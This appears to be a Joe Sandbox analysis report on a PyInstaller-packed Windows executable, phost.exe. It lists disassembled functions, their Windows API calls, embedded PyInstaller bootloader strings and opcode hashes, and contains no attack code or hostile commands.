Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62CC7F320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF62CC7F408

Strings

csm, xrefs: 00007FF62CC7F342
csm, xrefs: 00007FF62CC7F45A

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: bd5a4164d423adf75e06bd5a3144e6854cb2a762906e608b69796281511c8d29
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: 7E51A272B082828AEF648F29D88436837B8FB55BA4F144135DA5D8BB95CF3DE464D702

Function 00007FF62CC77E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF62CC7352C,?,00000000,00007FF62CC73F23), ref: 00007FF62CC77F22

Strings

\, xrefs: 00007FF62CC77E87
%.*s, xrefs: 00007FF62CC77EDB
%s%c, xrefs: 00007FF62CC77E94

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: ce0b23117cffd9741204111f3d758072f330bca0d4929f9d4084e34202f3c580
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: 9731D661719AC545FF218B29EC503AA6378EF84BF4F044231EA6D8BBC9DE2CD649D701

Function 00007FF62CC72810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF62CC728EA

Strings

ERROR, xrefs: 00007FF62CC7286F
Error, xrefs: 00007FF62CC728DD
[PYI-%d:%ls] , xrefs: 00007FF62CC72868

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: 24a560f3479708726e57acc49923e0921f0c0e9960ba8f992fff7ca860bd29c9
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: 6821DE73B08B4192EB209B19F8447EA63B4FB88794F404136EE8D9776ADE3CD249C741

Function 00007FF62CC8C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF62CC8C68F
WriteFile.KERNEL32 ref: 00007FF62CC8C957
WriteFile.KERNEL32 ref: 00007FF62CC8C99D
GetLastError.KERNEL32 ref: 00007FF62CC8CA53

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: d8d26d22b35318288283e7525eb07668d1e85dade767e9df46366f2c9971b01a
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: 45D11472B19A818AEB11CF69D8406ED37B1FB447E8B448236DE5ED7B89DE38D046C341

Function 00007FF62CC8F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF62CC8FAEC
_get_daylight.LIBCMT ref: 00007FF62CC8FAFD
_get_daylight.LIBCMT ref: 00007FF62CC8FB0E
_isindst.LIBCMT ref: 00007FF62CC8FBD9

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 9e3e78a9366c6c5261d8b800243136ec92a4df68d373ed967d5fba4a87944466
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: 2251D372F081128AFF25DF289D55ABD27B1AB407B8F504235DE1ED2AE5DF39A4428701

Function 00007FF62CC857EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF62CC8581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF62CC85881
GetLastError.KERNEL32 ref: 00007FF62CC85912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62CC85724), ref: 00007FF62CC8595E

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: 29793d33bfc6032f87cb60117973c068b6ae1cb61288d16ba602b48e55620ad9
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 5D516D62F086418AFF11DF79D8507BE23B2AB48BA8F148635DE4D9B689DF78D4418702

Function 00007FF62CC720C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF62CC720F4
SetWindowLongPtrW.USER32 ref: 00007FF62CC72116
GetWindowLongPtrW.USER32 ref: 00007FF62CC72140
InvalidateRect.USER32 ref: 00007FF62CC72160

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: cd2147f3bebf089ffe8f942daa7e0d08e6bf949f80addf632e2bc888a597300d
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: B411AC31F1C14282FE54976DED4427952B5FF857A4F448030DB498BB9DCD2DD899A602

Function 00007FF62CC95B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62CC917D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC91803

_get_daylight.LIBCMT ref: 00007FF62CC95CA4
_get_daylight.LIBCMT ref: 00007FF62CC95CB5

Strings

?, xrefs: 00007FF62CC95C35

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: b7cc968165eee0f38db95e1a7453134d57cab0086e7c4270e46766b882815d25
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: F0411922F1C68245FF259B29DC0177A66B0EB84BB8F148336EE5C86AD5DE3CD441C701

Function 00007FF62CC89084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC890B6

Part of subcall function 00007FF62CC8A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
Part of subcall function 00007FF62CC8A9B8: GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF62CC7CC15), ref: 00007FF62CC890D4

Strings

C:\Users\user\Desktop\phost.exe, xrefs: 00007FF62CC890C2

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\phost.exe
API String ID: 3580290477-3962158096
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: 6092133590d028b7397a533541ae74e3ffc510a30d331cd87eafde9870ce62ec
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: 29416D32B08A5285EF1A9F29DC444BA23B4EB457E4B554135E94EC3B85DE3DE482C302

Function 00007FF62CC8CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF62CC8CDBF
GetLastError.KERNEL32 ref: 00007FF62CC8CDE1

Strings

U, xrefs: 00007FF62CC8CD6B

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 3a1dd2001475c2807039a6aea3c7ce3c551dede802cbbb48c34d65f8ce13dd8d
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: ED41A032B19A9181DB619F29E8447AA67A0FB887E4F404136EA4DC7B98EF3CD401C741

Function 00007FF62CC8F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF62CC8F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF62CC8F6BA

Strings

:, xrefs: 00007FF62CC8F67E

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 3c906c99ff6b46cc0de181ba7a1caf37579b2c2fe8814107475e6c290f9e88a5
Instruction ID: 9d2c86d8cd478c54ee3e874a0b3b69098077f951905a6eb395963df330aed0fa
Opcode Fuzzy Hash: 3c906c99ff6b46cc0de181ba7a1caf37579b2c2fe8814107475e6c290f9e88a5
Instruction Fuzzy Hash: 94214872B0868182FF218B19D81463E33B1FB84B94F918235C68C83288DF7DE545C742

Function 00007FF62CC7FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF62CC7FE08
RaiseException.KERNEL32 ref: 00007FF62CC7FE49

Strings

csm, xrefs: 00007FF62CC7FE36

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: c61f3df4c510bdd12ff0e8001e60e0a1449cac8e2fbe8132dc8b29c4fa9e55af
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 92112E32618B8182EB618F19F94026977F4FB88B98F588230DA8D4B755DF3DD5558B01

Function 00007FF62CC907AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC907DC
GetDriveTypeW.KERNEL32 ref: 00007FF62CC9081C

Strings

:, xrefs: 00007FF62CC90805

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: c9f46e3962f408f0fb48dcd015578d8f863998336716b95769d9c5b2823da4c1
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: 71017C22B1824386FF21AF68986627E67B0EF48778F80413AD54DC6691DE3CE504DA56

Analysis Process: phost.exePID: 3444, Parent PID: 3220COMMON

Execution Graph

Execution Coverage:	9.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1741
Total number of Limit Nodes:	11

Executed Functions

Function 00007FF62CC71000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF62CC73A17, 00007FF62CC73A2F, 00007FF62CC73A9B
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF62CC73882, 00007FF62CC738AF
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF62CC73D35
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF62CC73EA6
MEI, xrefs: 00007FF62CC73933
_PYI_SPLASH_IPC, xrefs: 00007FF62CC73A23, 00007FF62CC73EF5
bye-runtime-tmpdir, xrefs: 00007FF62CC73B68
pkg, xrefs: 00007FF62CC739BE
pyi-disable-windowed-traceback, xrefs: 00007FF62CC73BB2
Failed to load splash screen resources!, xrefs: 00007FF62CC73E85
pyi-contents-directory, xrefs: 00007FF62CC73B8D
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF62CC73B32
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF62CC73A0B, 00007FF62CC73CD4, 00007FF62CC73F6B
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF62CC73D12
VCRUNTIME140.dll, xrefs: 00007FF62CC73DB1
_PYI_ARCHIVE_FILE, xrefs: 00007FF62CC738D2, 00007FF62CC739FF
Could not create temporary directory!, xrefs: 00007FF62CC73CBF
Failed to convert DLL search path!, xrefs: 00007FF62CC73DDC
Failed to start splash screen!, xrefs: 00007FF62CC73ED4
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF62CC73C61
Py_GIL_DISABLED, xrefs: 00007FF62CC73AF4
Failed to remove temporary directory: %s, xrefs: 00007FF62CC73FC3
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF62CC73971
pyi-python-flag, xrefs: 00007FF62CC73AD6
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF62CC739DE
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF62CC73EBB
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF62CC73E0A
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF62CC73BE8

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: c4287787c746abb56e9331fa3c8956d7c4ae80ab217cba986f551fa52fb8bac5
Instruction ID: d91159f3654b64ad46d2a51dc8f32fd18666e8e3e401ee22508fd9f32b87e453
Opcode Fuzzy Hash: c4287787c746abb56e9331fa3c8956d7c4ae80ab217cba986f551fa52fb8bac5
Instruction Fuzzy Hash: 6E32AE21F4C68291FF25DB29DD552B92279EF447A4F884032DA4DCB2C6EF2CE559E302

Function 00007FF62CC969D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC96708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC96749
Part of subcall function 00007FF62CC96708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC967C7
Part of subcall function 00007FF62CC96708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC96818

CreateFileW.KERNEL32 ref: 00007FF62CC96ADA
CreateFileW.KERNEL32 ref: 00007FF62CC96B2A
GetLastError.KERNEL32 ref: 00007FF62CC96B5A
GetFileType.KERNEL32 ref: 00007FF62CC96B6F
GetLastError.KERNEL32 ref: 00007FF62CC96B79
CloseHandle.KERNEL32 ref: 00007FF62CC96BAC
CloseHandle.KERNEL32 ref: 00007FF62CC96D0F
CreateFileW.KERNEL32 ref: 00007FF62CC96D44
GetLastError.KERNEL32 ref: 00007FF62CC96D53

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000001.00000002.2181192674.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181263670.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181329747.00007FF62CCB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2181402396.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62cc70000_phost.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: 7df44e4102c86179fbd9d14821d3b9baefb01ab3e15938cec973a855de33fc49
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 46C1AF36B28A8186EF50DFA9C8906BD3771EB49BA8B019225DE2E977D4DF38D451C301

Function 00007FF62CC792F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF62CC79323
FindClose.KERNEL32 ref: 00007FF62CC79332

Memory Dump Source

Source File: 00000001.00000002.2181222788.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

